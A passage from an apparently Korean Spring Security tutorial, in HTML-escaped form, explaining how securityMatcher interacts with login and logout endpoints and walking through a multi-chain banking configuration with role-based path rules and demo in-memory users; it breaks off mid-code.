&lt;p&gt;필터 체인이 제공하는 엔드포인트(예: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/login&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/logout&lt;/code&gt;)는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt;의 영향을 자동으로 받지 않습니다:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;securedFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginPage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;// 커스텀 경로&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginProcessingUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 커스텀 경로&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutSuccessUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/login?logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;defaultFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;denyAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 나머지는 모두 거부&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;실전-예제-뱅킹-시스템&quot;&gt;실전 예제: 뱅킹 시스템&lt;/h1&gt;

&lt;p&gt;마지막으로 실제 서비스처럼 복잡한 예제를 봅시다:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BankingSecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserDetailsService&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;userDetailsService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;UserBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaultPasswordEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;VIEW_BALANCE&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 가장 높은 우선순위&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;approvalsSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;approvalsPaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; 
            &lt;span class=&quot;s&quot;&gt;&quot;/accounts/approvals/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; 
            &lt;span class=&quot;s&quot;&gt;&quot;/loans/approvals/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; 
            &lt;span class=&quot;s&quot;&gt;&quot;/credit-cards/approvals/**&quot;&lt;/span&gt; 
        &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;approvalsPaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 두 번째 우선순위&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bankingSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bankingPaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/accounts/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/loans/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/credit-cards/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/balances/**&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;viewBalancePaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/balances/**&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bankingPaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;viewBalancePaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;VIEW_BALANCE&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 기본 체인 (가장 낮은 우선순위)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;defaultSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allowedPaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/user-login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/user-logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/notices&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/contact&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/register&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;allowedPaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginPage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/user-login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginProcessingUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/user-login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/user-logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
